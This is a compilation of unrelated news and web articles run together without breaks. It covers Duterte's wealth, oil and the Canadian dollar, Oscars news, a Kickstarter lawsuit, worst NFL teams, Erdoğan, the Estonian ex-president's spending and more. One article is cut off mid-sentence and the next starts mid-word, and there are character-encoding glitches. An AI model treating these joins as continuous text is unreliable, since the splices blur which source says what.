All the lands sold sometime in the 1970s were in Talomo District where, according to Bureau of Internal Revenue Order No. 97 in 2002, the value of land ranged from a low of P550 per square meters for agricultural lots to a high of P4,500 per square meter for industrial ones.
Applying those rates, the Duterte property in Ulas village would have sold for P90 million.
People in the know
Mr. Duterte said many people were knowledgeable about the real estate transactions and could back up his narration because “a lot of them are still alive.” “This, for all to know. You go back to the trace of … you have to trace it,” he said.
He said the lands that were sold and the ones he got as his share were part of “hereditary properties.”
“But those titles now are in the name of my children. All (my) properties,” Mr. Duterte said.
Another source of the Dutertes’ wealth, the President said, was logging.
Mr. Duterte did not say what logging company his family set up in the past but the more prominent logging firms in the Davao region included those owned by the Alcantara family and Caridad Almendras Logging Enterprise, owned by the family of then senator, Alejandro Almendras.
The Dutertes regarded the Alcantaras as close family friends and the Almendrases as relatives.
On his bank deposits, he said they could not be more than P600,000 because of expenses. “I have more or less in the bank. It could be more than P500,000 something or below,” he said.
“Maybe almost nearing P500,000. That was my last. They should look at it,” Mr. Duterte said.
“The one in Unionbank. I hope (Sen. Antonio) Trillanes (IV) would see it,” he added.
Challenge
Mr. Duterte said he was hoping some people would get enlightened by his narration.
“If you want really to trace my money, start from there (real estate deals),” he said.
He repeated a promise that if critics were able to prove that he had ill-gotten funds in the banks, he would gladly resign as President.
“I am telling you, you show any bank account, foreign (or otherwise) and I will step down tomorrow. I will do that. I am telling you the truth, you are all witnesses to my career,” the President said.
He took another swipe at Trillanes, who had challenged the President to sign a bank secrecy waiver.
Trillanes, he said, was simply hungry for power who “allowed himself to be jailed, then raised funds through sympathy.”
“He knew how to, he’s that scheming,” Mr. Duterte said.
He repeated another promise to show proof of Trillanes’ hidden wealth. “I will reveal it, just wait,” he told reporters at the dinner.
Mr. Duterte claimed Trillanes avoided banking red flags by depositing amounts lower than the ceiling for deposits to raise alarm for laundering.
“He has numerous accounts, small balances,” said Mr. Duterte of Trillanes’ supposed wealth. “Because if you try to deposit large amounts, it would cause an alarm in the bank,” the President said.
According to the President, Trillanes knew the identity of the source of the senator’s account details. —Allan Nawal and Frinston Lim
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MOST READThe Canadian dollar plunged to below 87 cents US today in the wake of turmoil in oil and stock markets.
The loonie was trading at a 5½-year low of 86.72 cents US, down 0.39 of a cent.
After oil gained earlier in the day, it sank again in the afternoon, ending the day below $60, its lowest level since 2009. It's had a steep decline in the last two weeks since OPEC decided not to cut back its production of 30 million barrels a day.
West Texas Intermediate crude, the contract traded in New York, was down $1 at the close to $59.95 US a barrel, after falling by more than $2 Wednesday.
Brent crude edged lower, down 65 cents, to $63.59 US. It is down 37 per cent over the last three months.
Discount on Canadian oil
The discount for the Canadian contract, Western Canada Select, has widened in the past six weeks as the extent of the oil glut became evident.
The difference between WCS and the WTI contract, which was as low as $8 earlier this year, is now $17.25 with WCS trading at $42.70. But that gap is less than a year ago, when the discount on Canadian oil was as high as $40.
The boom in U.S. shale oil has led to a glut of oil worldwide and eaten into the biggest market for Canadian oil — the U.S.
WCS should be benefiting from the startup of major new pipelines such as Enbridge Inc.’s 600,000 barrel-a-day Flanagan South conduit to the U.S. Gulf Coast, but the turmoil in markets has companies looking at cutting back.
The misfortunes of oil have been hard on the Canadian currency, which has followed oil prices lower. Canada's economy is dependent on oil and economists believe falling prices will slow 2015 growth.
But investors also have to weigh the impact of cheaper gasoline and heating oil prices, which leave more money in consumers' pockets and could kickstart retail. The transportation sector is getting a boost from lower fuel prices and manufacturing could bounce back on the strength of the U.S. recovery.
U.S. treasury secretary Jacob Lew pointed to the benefits of lower oil prices in a speech in New York.
"Short term we're seeing a U.S. economy that's growing with increasing strength, and lower energy prices are going to be a boost to consumer demand and confidence," he said.
The price decline is "like a tax cut to the economy," he said, praising U.S. oil production as a "great success story."
TSX closes higher
While the loonie dropped, Toronto stocks recovered from Wednesday's steep 343-point slide.
The TSX was up 52 points to 13,905 at the close, after being as much as 270 points higher earlier in the day. Investors sought bargains among beaten-down stocks.
Industrial, tech and financial stocks gained, and even energy producers were up two per cent.
“You’ve got a bounce with the energy stocks after days of gloomy news, though it’s probably more bargain hunting than anything else,” said John Ing, president of Maison Placements Canada. “Our view is we’re still heading for further weakness in energy prices.
Cenovus Energy announced Thursday it is cutting 2015 capital spending to between $2.5 billion and $2.7 billion, down about 15 per cent from 2014 levels. Its shares declined 18 cents to $20.92.
The Dow Jones industrial average also moved higher, up 63 points to 17,596 after a report showing an improvement in retail sales.
U.S. retail sales perked up in November with the start of the holiday shopping season, rising 0.7 per cent, led by online buying and purchases of autos, clothing and electronics. That helped boost New York stocks.Netflix/Comedy Central
Welcome to Comedy Now, a weekly column cataloging what comedy fans should know about what’s available in the streaming world. Whether it’s a brand new special, an old classic, or the oddball show that defies categorization, we’ll list as many as we can for your enjoyment right here. Who knows? We may even throw in a few non-streamable bits on occasion, like tour announcements from our favorite comics. You can check out last week’s column here.
What’s New
Lucas Brothers: On Drugs (Netflix)
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The latest addition to Netflix’s explosive array of original stand-up programming, Lucas Brothers: On Drugs introduces the identical twin comedians to one of their largest audiences since appearing on The Tonight Show. Favorites of host Jimmy Fallon, Keith and Kenny Lucas have made a name for themselves elsewhere with the animated Lucas Bros. Moving Co. on FXX, and appearances in film (22 Jump Street) and on television (The Grinder, Lady Dynamite). On Drugs offers fans and newcomers alike a taste of the brothers’ first original hour. The special, which premiered April 18th, is now available to stream.People are trying to predict the future since Nostradamus was a lad. Before few centuries, nobody thought that in future, we will be using smartphones, computers and airplanes but now we are using them. We’ve been promised flying cars, teleporters and jet packs for years but none of them – as yet – have made it to the high street.
However, futurologist Ian Pearson has a list of 10 hi-tech innovations that he claims will be surefire hits by 2030.
1. Dream linking
Using pillows with conducting fibres in the fabric, it will be possible to see monitor electrical activity from the brain. This will not only show when someone is dreaming, but recent developments indicate that we’ll also be able to tell what they are dreaming about. It is also possible (with prior agreement presumably, and when both people are in a dream state at the same time) for two people to share dreams.
One could try to steer a friend’s dream in the same direction, so that they could effectively share a dream, and may even be able to interact in it.
2. Shared consciousness
Many people believe we will one day have full links between their brains and an external computer. We will be able to directly access more information outside the brain, making us much smarter, with thought access to most of human knowledge. The link will also allow us to share ideas directly with other people, effectively sharing their consciousness, memories, experiences.
This will create a whole new level of intimacy, and let you explore other people’s creativity directly.
This could certainly be one of the most fun bits of the future as long as we take suitable precautions.
3. Active contact lenses
These nifty gadgets will sit in your eyes like normal contact lenses. But they will have three tiny lasers and a micromirror to beam pictures directly onto the retina, creating images in as high resolution as your eye can see.
This could make all other forms of display superfluous.
There is no need to wear a wristwatch,have a mobile phone, tablet or TV but you could still have them visually.
The contact lens can deliver a full 3D, totally immersive perfect resolution experience.
They will even let you watch movies or read your messages without opening your eyes.
4. Immortality and body sharing
While computers get smarter, the brain-IT link will also get better, so you’ll use external IT more, until most of your mind is outside your brain. When your body dies, you’ll only lose the bits still based in the brain. Most of your mind will carry on. You’ll go to your funeral, buy an android body and carry on.
Death won’t be a career problem. If you don’t want to use an android, maybe you’ll link into your friends’ bodies and share them, just as students hang out on friends’ sofas. Life really begins after death.
5. Smart yoghurt
A ‘quad core’ PC has for processors all sharing the same chip, instead of the single one there used to be.
This will increase until computers have millions of processors.These might be suspended in gel to keep them cool and allow them to be wired together via light beams. In separate developments, bacteria are being genetically modified to let them make electronic components. Putting these together, smart yoghurt could be the basis of future computing.
With potentially vastly superhuman intelligence, one day your best friend could be a yogurt.
6. Video tattoos
It will soon be possible to have electronic displays printed on thin plastic membranes, just like the ones you use for temporary tattoos that you put on your skin. With them you could turn your whole forearm into a computer display. Anyone with ordinary tattoos will wish they’d waited a while. You will also be able to get electronic makeup. You would just wipe it all over your face and then touch it to, and it will instantly become whatever you want. You will be able to change your appearance several times a day depending on your mood.
7. Augmented reality
You’ve seen films where the hero sees the world with computer generated graphics or data superimposed on their field of view. That technology area is developing very fast now and soon we will all be wearing a lightweight visor as we walk around. As well as all the stuff your phone does, it will allow you to place anything you want straight right in front of you.
The streets can be full of cartoon characters, aliens or zombies. You can change how people look too, replacing them with your favourite models if you wish.
8. Exoskeletons
Polymer gel muscles will be five times stronger than natural ones, so you could buy clothing that gives you superhuman strength. They are too expensive to make today, but not in the future.
Imagine free-running and leaping between buildings like a superhero, and having built-in reactive armour to make you bulletproof too, with extra super-senses also built in. A lot of that stuff is feasible, so exoskeletons might become very popular leisure and sports wear, as well as the obvious military and emergency service uses.
9. Androids
Artificial intelligence is likely to make computers that you can talk to just like humans in the near future.
These can easily link wirelessly to robots. Robotics technology will use polymer gel muscles too, and a nice silicone covering could make them very human-like, so they can mix easily with humans as servants, colleagues, guards or companions, pretty much what they do in the movie I, Robot, but with a much nicer appearance and probably much smarter.
10. Active skin
Tiny tiny skin-cell sized electronic capsules blown into the skin would enable us to record nerve signals associated with any sensation. Then you could relive the experience days or years later. From a favourite ski run to the feel of everyday objects, you can replay the full sensory experience. Computer games will become totally immersive too.
This article was originally published at Mirror.Co.UkChris Rock is still on board to host the Oscars this year despite calls for him to join the boycott protesting the Academy’s lack of diversity.
Variety had first reported Friday that sources said Rock would remain as host of the ceremony. Academy Awards producer Reginald Hudlin told Entertainment Tonight at Saturday’s NAACP Image Awards lunch that Rock’s opening monologue will address the #OscarsSoWhite conversation in a big way. Rock reportedly reworked his entire set of jokes when such figures as Jada Pinkett Smith and Will Smith announced they would be boycotting the ceremony.
“Chris is hard at work. He and his writing staff locked themselves in a room,” Hudlin told ET. “As things got a little provocative and exciting, he said, ‘I’m throwing out the show I wrote and writing a new show.'”
He added, “Chris is that thorough. He’s that brilliant, and I have 1000 percent confidence that he will deliver something that people will be talking about for weeks.”
Hudlin indicated that he and his team are prepared for Rock to make some controversial statements.
“And, yes, the Academy is ready for him to do that,” Hudlin said. “They’re excited about him doing that. They know that’s what we need. They know that’s what the public wants, and we deliver what the people want.”
Confirmation of Rock’s hosting duties come on the heels of the Academy’s Friday announcement that it would overhaul its membership in order to promote diversity, aiming to double its number of female and minority members by the year 2020.The Washington State Office of the Attorney General announced yesterday that it has filed what it believes to be America's first consumer protection lawsuit involving crowdfunding -- specifically, a Kickstarter campaign for a game.The suit alleges that Edward J. Polchlepek III (aka Ed Nash) and his company, Altius Management, failed to make good on a successful Kickstarter campaign for Asylum Playing Cards The project beat its original $15,000 goal to raise $25,146 by the time it ended in October 2012. The Attorney General's office alleges Polchlepek and Altius collected the money and neglected to deliver either the cards or the various backer rewards. Some of those backers live in the state of Washington, which allows the state's legal team to get involved."Consumers need to be aware that crowdfunding is not without risk,� stated Washington State Attorney General Bob Ferguson in a press release announcing the lawsuit. �This lawsuit sends a clear message to people seeking the public�s money: Washington state will not tolerate crowdfunding theft. The Attorney General�s Office will hold those accountable who don�t play by the rules."If you're curious, you can read the full text of the complaint on Scribd.The outcome of this case could have significant ramifications for Kickstarter's popularity as a funding platform for game development. When contacted for comment by a Geekwire reporter, a Kickstarter representative issued the following statement:"Tens of thousands of incredible projects have been brought to life through Kickstarter. We want every backer to have an amazing experience, and we�re frustrated when they don�t. We hope this process brings resolution and clarity to the backers of this project."Home Daily News Woman's condo is sold at auction because…
Real Estate & Property Law
Woman's condo is sold at auction because of $95 overdue tax bill; she says she never received notice
A woman in Norcross, Georgia, says her home was sold at auction because she never received notice about an overdue tax bill of $94.85.
Homeowner Xui Lui says she paid cash for her condo in 2011, but she didn’t pay the city tax the first year because she never got any notice, WSBTV reports. She has paid all her city and county taxes every year since then, records show.
Certified letters warning of the overdue amount were returned to the city because the address was incomplete, the story says, and she never knew of the auction, either. Now Lui has received a notice telling her she has to move out by Nov. 25 because of the sale.
Liu lives in the condo with her 4-year-old daughter. “Where are we going to go?” she asked in an interview with WSBTV. “I have nowhere. This is my house. Why do I need to move out?”
Norcross City Manager Rudolph Smith told the television station, “We are going back and doing our due diligence.” He said the city contractor that handled the sale “will try to work something out.”President Donald Trump’s alleged revelation of classified material to Russian officials last week sparked a national security controversy Monday, but the move is technically within his power.
As president, Trump has the authority to declassify information as he sees fit, though that privilege has rarely been invoked. It is not uncommon for U.S. leaders to share information with allies and partners, but it is highly unusual to do so with what some would consider a U.S. adversary.
“It’s never done to U.S. adversaries. Ever,” John Schindler, a former U.S. intelligence officer and current New York Observer columnist, told The Daily Caller News Foundation.
The controversy stems from Trump’s meeting with Russian Foreign Minister Sergei Lavrov and Ambassador Sergey Kislyak on May 10. The president allegedly told the Russian officials of intelligence regarding an Islamic State plot. A U.S. ally who did not give permission for it to be shared reportedly supplied the information.
Executive Order 12356, signed by former President Ronald Reagan in 1982, gave the authority to the official who originally classified information to declassify it. Former President Barack Obama followed up that order with E.O. 13526 in 2009, which adjusted some of the earlier order’s provisions.
“The official who authorized the original classification, if that official is still serving in the same position and has original classification authority; (2) the originator’s current successor in function, if that individual has original classification authority; (3) a supervisory official of either the originator or his or her successor in function, if the supervisory official has original classification authority; or (4) officials delegated declassification authority in writing by the agency head or the senior agency official of the originating agency,” according to the order.
The president is the ultimate authority over the intelligence agencies that classify material, meaning Trump can choose to declassify material if he so chooses.
Schindler made a distinction between declassifying and releasing information to a hostile intelligence service (HoIS) in a tweet Monday.
POTUS can declassify anything he wants. Releasing to HoIS is another matter, however. https://t.co/xfxLNhdzEn — John Schindler (@20committee) May 15, 2017
The most notable example of a president declassifying information was John F. Kennedy’s address to the nation detailing the Cuban missile crisis in 1962. The former president described the Soviet Union’s construction of nuclear-capable missiles installed on the Cuban coast and provided Top Secret U-2 spy plane imagery. The crisis marked one of the closest times the U.S. and Russia came to direct conflict during the Cold War.
Presidential administrations have been known to leak intelligence information in the past. Former Secretary of Defense Leon Panetta acknowledged SEAL Team Six was responsible for killing Osama bin Laden in 2011 just days after the U.S. raid in Pakistan. Officials within the Bush administration were accused of leaking the name of CIA agent Valerie Plame in 2003 after her husband, Joseph Wilson, wrote an op-ed in The New York Times doubting the administration’s claims regarding Saddam Hussein’s nuclear weapons program.
Trump ultimately had the authority to release classified information in his meeting with Lavrov and Kislyak, but his alleged use of the privilege in this case appears to be a first.
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Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.From Scooby Doo to Star Wars, TMNT to Speed Racer, there are plenty of fans to go around. Some people love their TV shows or movies so much that they dress up like them, others transform their vehicles.
Here is a list of some of the coolest modified vehicles I have ever seen. Some are from TV, others are from Film and a few are even from video games.
Its amazing to think how dedicated people must be to their favorite entertainment in order to lay down an investment like this. Which is your favorite?
Scooby Doo Mystery Machine
TMNT Party Van
Sweet Tooth from Twisted Metal
Star Wars Landspeeder
Halo Warthog
Speed Buggy
Empire Strikes Back AT-AT
Flintstones Car
Ghostbusters Echo 1.1
Speedracer Mach 5
Battlestar Galactica Viper
TRON CycleTwo months ago, we ran a special feature listing the best teams of the past 30 years according to Football Outsiders' advanced DVOA metric. The coming disaster of the 2017 New York Jets has us thinking about the flip side of that list: the worst teams of the past 30 years.
Once again, we can tell you that our DVOA (Defense-adjusted Value Over Average) metric accounts for all of this, measuring success on each play based on down and distance, then comparing it to an NFL average baseline adjusted for situation and opponent. (You can read more of the details here.) It's built to balance a measurement of how well a team has played in the past with a forecast of how well a team will play in the future. Ratings each year are normalized, accounting for changes in the NFL's offensive environment over the past 30 years.
It's important to remember that DVOA is measuring efficiency on a per-play basis, rather than looking at top-line wins and losses. The 0-16 Lions do not have the worst DVOA of all time, and some 1-15 teams don't even come close to the bottom. (The 2007 Miami Dolphins went 1-15 but don't even rank among the 100 worst teams of the last 30 years; they played one of the three toughest schedules in the league and lost six games by just a field goal.)
Will the 2017 Jets appear on this list a year from now? Just like it takes balance to rank among the greatest teams ever, it takes balance to rank among the worst teams ever. The 25 worst teams since 1987 all ranked 25th or worse on offense and 20th or worse on defense. So as bad as the Jets' offense appears to be, it's going to be very difficult for Gang Green to make it onto this list of the worst modern NFL teams. Their defense is simply going to be too good.
The Jets ranked 21st in defensive DVOA a year ago, and there are a number of reasons to believe their defense will be better in 2017. They were fifth in the league in 2015, so a rebound is likely. The Jets ended just 7.5 percent of opposing drives with takeaways, 29th in the league, and that probably will regress toward the mean. The run defense was phenomenal, and run defense is more consistent from year to year than pass defense. Meanwhile, the Jets improved that pass defense by using their top two draft picks on defensive backs.
So when you read this list of the worst teams since 1987, remember this: As bad as the Jets look right now, these teams were probably much worse. However, we also have a list of the worst offenses since 1987 -- and that's a group the Jets are in serious danger of joining.
10. 2004 San Francisco 49ers (minus-41.8 percent, 2-14)
The 49ers cleaned house to escape salary-cap problems, cutting Jeff Garcia, Terrell Owens and Garrison Hearst after the 2003 season. The 2004 49ers then ranked 29th in offensive DVOA and 31st in defensive DVOA. Their two wins both came in overtime against the 6-10 Arizona Cardinals, even though the 49ers played one of the league's 10 easiest schedules.
9. 2002 Houston Texans (minus-41.9 percent, 4-12)
This is all about the worst offense in DVOA history, with rookie David Carr playing behind an expansion offensive line that allowed 76 sacks. Plus, starting running back Jonathan Wells managed just 2.7 yards per carry. The Texans managed just three points in a game on five occasions. However, the defense was only slightly below average (21st in DVOA) |
erscoring that the election results did not surprise him, Erdoğan the protests against Trump in some U.S. states and in different parts of Europe are 'disrespect to democracy.'
'Open-door policy to continue for those escaping bombs'
President Erdoğan reiterated that Turkey will continue its open-doors policy for the humanitarian purposes, namely for the refugees escaping the conflicts in its southern neighbors, Syria and Iraq.
"We have to keep our doors open to those running away from bombs. Why? Because they are human. We cannot leave those people to bombings," Erdoğan said and added that the Western stance on the humanitarian issues have been ineffective and insincere.
Turkey hosts about three million refugees running from violence and instability in Syria and Iraq, which has become an economic and political burden on the government. The influx of refugees into Europe, although in small numbers, has played into the hands of far-right populist movements, leading to the rise of anti-refugee and xenophobic tendencies, including violent attacks on foreigners and refugee shelters. Despite EU's promised financial support to refugees in Turkey, Ankara argues that aid has not arrived in effective amounts, only several hundred million euros, compared to what Turkey has spent from its own budget, which the officials claim to be over 10 billion dollars. Meanwhile, the president also reiterated Ankara's demand on creating a no-fly zone in northern Syria and urged the U.S. and other NATO allies to reconsider the request.
NATO Chief Stoltenberg praises Turkey for its stance against the July 15 FETÖ coup
Meanwhile, NATO Chief Jens Stoltenberg praised Turkey for its stance against the July 15 coup attempt by the Gülenist Terror Group (FETÖ) and Turkish nation defending the country's democracy.
"I would just also remind us all of the fact that we are meeting here in Turkey four shorts months after the failed coup attempt," Anadolu Agency cited NATO Secretary- General Jens Stoltenberg saying during the 62nd session of the alliance's Parliamentary Assembly in Istanbul. "This should be a sober reminder to us all, a reminder that democracy and freedom cannot be taken for granted," he added.
Stoltenberg also praised the members of the Turkish parliament for their couragous acts during the night of the coup, including an extraordinary gathering at the parliment during the night of the coup attempt, which caused the deaths of 241 citizens and caused injuries of more than 2000 others.
"I want to salute them today for their courage and dedication to democracy," he said and added that the NATO allies will remain stand united against threats to any of its allies.
Speaking to TRT World, Daniel Kawczynski, a U.K MP for Shrewsbury and Atcham and a member of the foreign affairs select committee also said he had no doubts FETÖ was behind the coup attempt. Kawczynski also added that Turkey's loyalty to NATO must not be taken lightly. "Losing Turkey as a strategic partner would be disastrous for Europe," he said and added that EU's stance on Turkey's accession talks was embarrassing.An old joke about Estonians perfectly captures that country’s reputation for languid, agonizing deliberation.
An Estonian old man and his two grown sons are fishing on the Baltic sea. “Stooooorm’s coooooming,” the elder son says, looking at the horizon. After a half hour silence, the younger one says, “Noooo, it ain’t coooooming.” Following another half-hour silence, the father finally says, “Do noooot fight, you two hot-tempered Estoooonian lads.”
Justified or not, oral folklore depicts Estonians—inhabitants of the small Baltic state of Estonia—as slowpokes. An incredible recent accident strengthened this humorous reputation when an impudent crow was able to snatch a passport out of the hands of a pensive Estonian tourist right on the border-crossing checkpoint, creating an international incident. The hilarious video made headlines and added new treasures to the depository of Estonian jokes.
Though Estonians have a reputation of being slow, they don’t have a reputation of being stupid.
Estonians created Skype, for example.
Still, as in the jokes about the slow pace of their thinking process, it took Estonians at least half a year after former President Toomas Hendrik Ilves left office to confirm long-held suspicions about the ex-President’s posh life-style.
Before becoming Estonia’s President in 2006, Ilves reportedly had complained to American diplomats that he did not want to continue his service to the newly-found motherland because he did not come to Estonia to sacrifice his comfortable life in the West for “living on the border of poverty” there.
With a quarter-century-long service to his adopted homeland, Sweden-born and U.S.-raised Ilves, 63, had enough time to captivate Estonians with the Santa Barbara of his personal life. He brought to Estonia his American wife Merry, a psychologist who he later divorced. A blonde Estonian media personality, the beautiful Evelin, became his second spouse in 2004.
She was 15 years younger than Ilves.
The ex-Estonian President showed himself to be a generous tipper—especially while in the U.S.—at the expense of Estonian taxpayers.
The no less beautiful Ieva Kupce, a Latvian blonde, 24 years his junior, became Ilves’ third wife in 2016.
The latest marriage is a classic illustration of both Baltic countries’ solidarity and Estonia’s commitment to the NATO alliance. There was also something royal in Ilves last marriage: his new-found love had been the head of the National Cyber-security Policy Coordination Section in the Ministry of Defense of the neighboring country of Latvia, and a former coordinator of Latvian relations with NATO. After their marriage, she continued to work for the Latvian Ministry for Defense while being the First Lady of Estonia at the same time.
There are no secrets between the two friendly European states.
Estonia is a small country with a population of only 1.3 million—half the population of Brooklyn. An average net monthly salary in 2016 was around 900 Euros.
The Estonian President’s salary was around 5,300 Euros a month was and Estonian First Lady received 30 percent of her husband’s salary, adding 1,600 Euros into the First Family’s budget.
It took a loooooong time for “hot-tempered Estoooooonian lads” to suspect that the preferred lifestyle of their ex-President was more representative of a Russian oligarch or American Silicon Valley guru than of a President of a proud, but frugal, small state. It took a loooooong time for the President’s Office to confirm their suspicions.
For about half a year, reporters from the Pealtnagija Estonian TV and Radio Network tried to access to their President’s Office’s credit card records for the years of 2011-2016—Ilves’ second term as a President.
This credit card was meant to cover his “service” expenses (i.e. hotels, food, flowers, transportation, etc) and was not meant for his private purposes.
At first, reporters were given only the columns with the figures of the ex-President’s expenses without details as to what the money was spent on. Although President Ilves prided his country as the first all-electronic state—trying to brand it “e-Estonia” with every chance he had—the President’ Office insisted that such details could have been done only by hand and the Office did not have time for that.
When these details were at last released by the President’s Office, some in Estonia, no doubt, regretted that a brazen crow had not snatched the government-issued credit card from the hands of their ex-President in some far-off border-crossing.
The ex-President’s state credit card expenses tripled during his second term in office, reaching 94,000 Euros for the first nine months of 2016.
To be fair, at least some of the President’s expenses were in line with a small-sized Estonian economy, like 49 Euros spent on mosquito repellent in 2013, bought to protect German President Joachim Gauck at the Presidential retreat at the Arma Farm.
Others were not.
The lion’s share of the money was spent on hotels—Marriott, Kempinski, Hilton, Sheraton, Ritz—during Ilves’ constant trips around the world to places like London, Abu-Dhabi, Vienna or Montreal.
In April of 2011, three days at the Bayerischer Hof hotel in Munich cost Estonian taxpayers 5,414 Euros. In 2013, two days at London’s Cavendish hotel cost 3,857 Euros. There was a long list of hotels of the same rank in the credit card report that the reporters obtained.
In 2015, 21,000 Euros were paid by the President Office’s credit card for a suite in Turmhotel Victoria hotel in Davos, Switzerland, at the time of the World Economic Forum, which Ilves regularly attended. In 2016 he stayed for 4 nights at the same hotel with his newly-wed Latvian wife Leva. The 810-square-foot suite with a private sauna, Jacuzzi and view of the town cost 24,000 Euros.
“One must not forget about the context,” the head of the President’s Office explained later. “The program was very intense, logistics were hard, and this was exactly where the [World Economic Forum] took place. The prices there were unthinkable and nothing could have been done about it,“ he lamented.
Some President Office’s credit card expenses, made by Ilves, were also difficult to justify as state necessity.
In 2012, in Warsaw, he charged 1,270 Euros on the state credit card in a Versace boutique; 60 Euros were spent at the neighboring Calvin Klein, 250 Euros—in a different clothes store, and 250 Euros at Samsonite. The explanation given by the President’s Office to the reporters was that the President’s luggage had been lost by United Airlines—despite the use of the company’s VIP-service.
In September 2013, the Estonian President traveled to the U.N. General Assembly in New York. He arrived several days in advance because he wanted to attend billionaire George Soros’ wedding. Both before and during the celebration, Ilves ordered personal training in the hotel gym, paid for by Estonian taxpayers. “On the George Soros’ wedding the President Ilves had to be refreshed and attentive. [He had] to be a President,” Siim Raie, former head of the President’s Office explained later.
During this visit to New York, Ilves bought four tickets to a performance by his favorite rock band Steely Dan, at the cost of $900, using the state credit card. (Reporters were able to establish that President Ilves went to the concert in the company of “one of the employees of his Office” and two bodyguards.)
Another state credit card report showed that during Ilves’ visit to Romania, a significant amount of wine was ordered to his suite, as well as a spa massage. The expensive bottles were explained as an official treat for the local minister in charge of information technologies.
In 2015, Ilves charged the Estonian state’s credit card for sunglasses in San Francisco at the price of 108 Euros and for a souvenir plate for 60 Euros in Washington, DC, Delfi reported.
Big sums of money were spent on restaurants around the world—from oyster bars in New York to “Atmosphere Lifestyle” restaurant, located on the 122nd floor of the highest Burj Khalifa building in Dubai, United Arab Emirates—1,450 feet up in the sky!
On November 24, 2013 Ilves put 273 Euros on the state credit card at a Lebanese restaurant “Randa” in London, where he popped up one day before his official visit was scheduled to begin. The next day, Ilves had a dinner in “The Cinnamon Club” Indian restaurant in the British capital—the bill was 760 Euros, again paid by the credit card.
Some of the dinners enjoyed by Ilves cost up to 2,000 Euros. The ex-Estonian President showed himself to be a generous tipper—especially while in the U.S.—at the expense of Estonian taxpayers.
At least seven times cash was withdrawn with the state credit card from President Office’s bank account, the statement said. The biggest withdrawal was 1,087 Euros in Bucharest.
Reporters believe that since they had to fight with the President’s Office for details on every item that was charged to the card, the received spending list is far from being complete.
For his part, ex-Estonian President Ilves limited himself only to this statement on all the inquiries with regard to the credit card spending, made by his representative: “State and private expenses of the President were divided.”
What remained undivided after Ilves left office was the presidential retreat, Arma Farm, of about 200 acres of agricultural and forest land where Ilves once protected German President Gauck from pesky Estonian mosquitoes with the 45-Euro repellent.
In the beginning of 2017, one more scandal broke out with regard to the Estonian President. It turns out that in 2012, during the second term of Ilves’ presidency, the farm that at the time belonged to the company of Ilves’ second wife Evelin, received a targeted subsidy in the amount of 190,000 Euros from the Estonian government for organizing a tourist business there. Despite his two divorces, the farm remained in Ilves’ possession, who decided not to continue with his ex-wife’s business plan to attract tourists to the farm.
In accordance with the subsidy contract—“carelessly drawn,” as it turned out—the ex-President was ordered to return to the state only 10 percent of the subsidy received by Arma Farm, Estonian National TV-Radio portal err.ee reported on January 31.
The Fund for Development of the Entrepreneurship of Estonia made the decision not to demand the return of the rest of the money from the ex-President, thanks to an estimated zero odds of winning the case against him in court. Strangely, the contract’s “sloppy mistake” was a “unique case”: “the borrower could not fulfill his business project for the reason of becoming a President.”
At the time of the latest scandal, the former Estonian President Ilves left for Stanford University, where he was invited as a visiting fellow.
He plans to write a book on secure and functional digital democratic society. The pay is better at Stanford University, but Ilves’ lifestyle is surely going to be different without the credit card.Football Federation Australia (FFA) today received official confirmation from the Football Association of Thailand that the 2018 FIFA World Cup Asian Qualification match between Thailand and Australia will be played as scheduled at the Rajamangala Stadium, in Bangkok on Tuesday 15 November.
As the match coincides with a period of mourning following the passing of His Majesty King Bhumibol Adulyadej, FFA asks all Australian fans attending the match and who are in Thailand to be respectful of the local customs and in particular respect the following requests from the Sports Authority of Thailand:
· Clothing for spectators shall be in polite manner with suggested colours such as white, black, gray and preferably with no designs on them.
· Equipment such as drums, trumpets, flags, megaphones, whistles, cheering sticks and any other equipment will not be allowed to enter the stadium.
· Spectators are not allowed to show any symbols.
· Banners will not be allowed to enter the stadium.
· Fan chants, along with any other activities that are considered joyful, are strictly prohibited both inside the stadium and surrounding areas.
For more information regarding travel in Thailand, please visit www.smarttraveller.gov.auA year after Rev Harold Camping’s followers messed up on doomsday and the rapture didn’t happen Patrick Archbold links to a sympathetic article on the followers who were “left behind” when Jesus didn’t turn up in glory. They didn’t experience the rapture, but they did experience a rupture–in their belief system. Matt notices that this article observes that “most mainstream Christians” believe in the rapture, and he goes on to point out that this just ain’t so. Read his post here.
I was brought up in a fundamentalist church that followed dispensationalist theology. This is a theological system devised by a Protestant Bible scholar called C.I. Schofield. His basic thesis is that God’s work in the world occurs in different time periods or “dispensations”. God’s message to humanity and work within history happens different ways in different times. This dispensationalist theology is the foundational system for all the “end times” prophecies that abound in this sort of Protestantism. It involves a the “rapture” in which Jesus returns supernaturally and takes all believers to heaven–leaving the wicked behind to suffer seven years of tribulation before the final return of Christ and the Last Battle of Armageddon. The writer of the article Matt quotes can be forgiven for saying that this “end times” stuff is “mainstream” because it is mainstream within American Evangelicalism. This reveals the incredible ignorance of the typical American about historic Christianity. The writer clearly has a blind spot and can only call this form of American Evangelicalism “mainstream” because he doesn’t even see Catholicism, Orthodoxy, Anglicanism and the other Christian groups.
However, this is not the core problem. The main difficulty is with Dispensationalism itself. Some time ago I wrote this article about the whole “Left Behind” phenomenon. Check out that article, but also stop to consider the problems with Dispensationalism itself. The fact that this kind of religion is considered “mainstream” in America says an awful lot that is disturbing about American religion and stuff that is even more disturbing about the American Evangelical mainstream. Read more.Following the shocking report that President Trump had revealed highly classified information last week during his Oval Office meeting with Russian officials, some pundits were quick to question the original reporting by The Washington Post, but one right-wing blogger explains why the reporting should be taken seriously.
Erick Erickson, who typically takes stories regarding Trump "with a grain of salt," claimed to know one of the sources who leaked information about the president's meeting.
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"What sets this story apart for me, at least, is that I know one of the sources. And the source is solidly supportive of President Trump, or at least has been and was during Campaign 2016. But the President will not take any internal criticism, no matter how politely it is given. He does not want advice, cannot be corrected, and is too insecure to see any constructive feedback as anything other than an attack," Erickson wrote.
Monday night on Fox News' "The Five," pundit Jesse Watters insisted that the report from The Washington Post is completely false. "The Washington Post was wrong about Sean Spicer hiding in the bush. They were wrong about Rosenstein, the deputy AG, resigning," Watters said.
"If you’re a disloyal person, you sing to The Washington Post. If you’re a loyal person, you take it to your superior," Watters added.
But Erickson said in his blog that Trump did something "far worse" than what had been originally reported. "You can call these sources disloyal, traitors, or whatever you want," he wrote. "But please ask yourself a question — if the President, through inexperience and ignorance, is jeopardizing our national security and will not take advice or corrective action, what other means are available to get the President to listen and recognize the error of his ways?"
